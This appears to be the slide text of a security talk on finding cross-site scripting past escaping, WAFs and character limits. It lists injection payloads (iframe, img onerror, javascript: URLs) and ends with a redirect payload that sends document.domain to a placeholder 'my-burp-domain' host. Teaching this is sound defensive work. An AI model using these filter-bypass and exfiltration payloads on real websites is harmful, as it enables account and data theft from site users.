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XSS what?
Reflected

Stored/Permanent

DOM-based
Flash-based

self-reflected

Blind
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XSS what?
Look for available parameters or forms
Insert <script>alert('XSS')</script>
A popup appears.
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Inside tag
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Outside tag
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Curioxssity

<{tag}{}{event_handler}{}={}{javascript}{}{>,//,Space,Tab,LF}
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<{tag}{}{event_handler}{}={}{javascript}{}{>,//,Space,Tab,LF}

<iframe onload=javascript:alert(0)>
 

<a href=javascript:alert(0)>
 

<img src=meme.gif onerror=prompt(0);//>
 

<script src=javascript:alert(0)>
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https://threatcon.io/curioxssity#case0

Case 0
The obvious no/impossible XSS
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Quotes, forward slash, and backslash are escaped.
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It blocks any character after <

Maybe only possible with old IE with <%tag

Limited length (>16 chars) and only on one endpoint

Can’t use = in an inside tag injection
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Case 1
The simple WAF/detection
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It blocks <script>alert(0)</script> payload
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Use a different payload
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
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It blocks <script>alert(0)</script> payload

<iframe src=1 onmouseover=alert(0)>

<a href=javascript:alert(0)>

<img src=meme.gif onerror=prompt(0);//>

<script src=javascript:alert(0)>
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<iframe src=1 onmouseover=alert(0)>
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Case 2
That WAF/detection 
forbids/prevents all attempts on GET
request
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Ora



Case ... Case 3
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Case 3
The super annoying WAF/detection
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That WAF/filter is 
probably just a set of

complex regex
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<iframe src=1 onmouseover=alert(0)>

<a href=javascript:alert(0)>

<img src=meme.gif onerror=prompt(0);//>

<script src=javascript:alert(0)>
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When it is super annoying?
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Case 4
That application only allows
 limited characters
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',alert(0),'
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',alert(0),'
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, . = : @ # ? * %
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',document.location='javascript:document.domain','
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, . = : @ # ? * %

',document.location='javascript:document.domain','
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',window.location=http://url,'
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, . = : @ # ? * % javascript:document.*
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, . = : @ # ? * % javascript:document.*

',window.location=http:url,'
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How to exfiltrate data?

http:url/'%2bdocument.domain%2b,'

, . = : @ # ? * % 
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',window.location=http:'%2bdocument.domain%2b'.my-burp-domain','



Thank you


